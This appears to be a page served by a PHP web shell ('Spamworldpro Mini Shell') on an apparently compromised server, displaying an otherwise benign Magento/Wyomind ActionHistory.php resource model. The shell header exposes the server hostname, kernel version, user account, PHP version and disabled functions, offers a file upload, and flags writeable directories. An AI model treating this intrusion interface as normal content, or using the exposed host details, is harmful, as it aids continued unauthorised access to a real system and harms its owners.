Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/wyomind/framework/Model/ResourceModel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/wyomind/framework/Model/ResourceModel/ActionHistory.php
<?php
/**
 * Copyright © 2020 Wyomind. All rights reserved.
 * See LICENSE.txt for license details.
 */

namespace Wyomind\Framework\Model\ResourceModel;

class ActionHistory extends \Magento\Framework\Model\ResourceModel\Db\AbstractDb
{
    /**
     * @var string
     */
    private $tableName;

    /**
     * @param \Magento\Framework\Model\ResourceModel\Db\Context $context
     * @param string $tableName
     * @param string $connectionName
     */
    public function __construct(
        \Magento\Framework\Model\ResourceModel\Db\Context $context,
        $tableName = 'framework',
        $connectionName = null
    ) {
    
        $this->tableName = $tableName;
        parent::__construct($context, $connectionName);
    }

    /**
     * {@inheritDoc}
     */
    protected function _construct()
    {
        $this->_init($this->tableName . '_action_history', \Wyomind\Framework\Api\Data\ActionHistoryInterface::ID);
    }

    /**
     * Get latest action for specified module and entity_id
     *
     * @param string $table
     * @param int $entityId
     * @return array
     */
    public function getLatestAction($table, $entityId)
    {
        return $this->getConnection()->fetchRow(
            $this->getConnection()
                ->select()
                ->from($this->getTable($table))
                ->where('entity_id = :entity_id')
                ->order('created_at ' . \Magento\Framework\DB\Select::SQL_DESC)
                ->limit(1),
            [':entity_id' => $entityId]
        );
    }
}

Spamworldpro Mini